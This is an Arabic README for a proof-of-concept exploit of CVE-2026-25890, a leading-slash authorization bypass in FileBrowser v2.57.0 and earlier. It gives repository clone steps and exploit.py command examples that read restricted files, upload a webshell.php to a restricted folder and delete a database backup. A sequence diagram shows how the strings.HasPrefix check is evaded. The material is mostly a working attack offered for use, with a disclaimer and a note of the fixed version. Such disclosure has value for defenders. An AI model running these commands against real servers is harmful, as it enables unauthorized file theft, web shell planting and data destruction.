
استغلال لثغرة CVE-2026-25890، وهي تجاوز للتحقق من الصلاحيات القائم على المسار في FileBrowser <= v2.57.0، مما يسمح للمستخدمين المصادق عليهم ذوي الامتيازات المنخفضة بقراءة الملفات المقيدة ورفعها وحذفها عبر شرطات مائلة متعددة في البداية.
لا يمكن للمستخدمين غير المصادقين استغلال هذا الثغرة — يتطلب صلاحيات منخفضة صالحة ومقيّدة من الوصول إلى المسار المستهدف.
تجاوز التحقق من الصلاحيات المعتمد على المسار في FileBrowser ≤ الإصدار v2.57.0 باستخدام شرطات مائلة متعددة في البداية (//private بدلاً من /private) للتهرب من فحوصات strings.HasPrefix() بينما يستمر نظام الملفات في تقديم المسار الأساسي.
تم إصلاحه في v2.57.1 (الالتزام 489af403... – تمت إزالة r.SkipClean(true)).
# استنساخ المستودع
git clone https://github.com/banyamer/CVE-2026-25890-FileBrowser-Bypass.git
cd CVE-2026-25890-FileBrowser-Bypass
# لا توجد تبعيات إضافية بخلاف المكتبة القياسية + requests
pip install requests
python3 exploit.py --help
# قراءة ملف مقيد
python3 exploit.py \
--url http://192.168.1.50:8080 \
--username bob \
--password password123 \
--path /private/secret.txt \
--action read \
--save leaked_secret.txt \
--verbose
# رفع ملف خبيث إلى مجلد مقيد
python3 exploit.py \
--url http://target:8080 \
--username lowpriv \
--password pass \
--path /data/ \
--action upload \
--upload-file webshell.php \
--slashes 3
# حذف ملف مقيد
python3 exploit.py \
--url http://10.10.10.123:80 \
--username alice \
--password secret \
--path /backups/database.bak \
--action delete \
--slashes 4
sequenceDiagram
participant Attacker
participant FileBrowser ≤ v2.57.0
participant Gorilla Mux Router
participant Auth Middleware
participant Filesystem Handler
Attacker->>FileBrowser: GET /api/resources/private/secret.txt<br>(طلب عادي)
FileBrowser->>Gorilla Mux: Path = /api/resources/private/secret.txt
Gorilla Mux->>Auth Middleware: path = "/private/secret.txt"
Auth Middleware->>Auth Middleware: strings.HasPrefix("/private/secret.txt", disallowed="/private") → true
Auth Middleware->>Attacker: 403 Forbidden
Note over Attacker,FileBrowser: يحاول المهاجم التجاوز
Attacker->>FileBrowser: GET /api/resources//private/secret.txt
FileBrowser->>Gorilla Mux: Path = /api/resources//private/secret.txt<br>(SkipClean=true → بدون تطبيع)
Gorilla Mux->>Auth Middleware: path = "//private/secret.txt"
Auth Middleware->>Auth Middleware: HasPrefix("//private/secret.txt", "/private") → false
Auth Middleware->>Filesystem Handler: مسموح → متابعة
Filesystem Handler->>Filesystem: تطبيع // → /private/secret.txt
Filesystem->>Filesystem Handler: إرجاع محتوى الملف
Filesystem Handler->>Attacker: 200 OK + المحتوى السريتم توفير هذا الإثبات حصريًا للأغراض التعليمية وبحوث الأمن السيبراني.
لا تستخدم هذا الكود ضد أي نظام دون إذن كتابي صريح من المالك.
الوصول غير المصرح به أو تعديل الأنظمة غير قانوني في معظم الدول (مثل CFAA وقانون إساءة استخدام الحاسوب).
مؤلف الاستغلال: Mohammed Idrees Banyamer
الدولة: الأردن
Instagram: @banyamer_security
قم بتمييز المستودع بنجمة ⭐ إذا وجدته مفيدًا!
آخر تحديث: فبراير 2026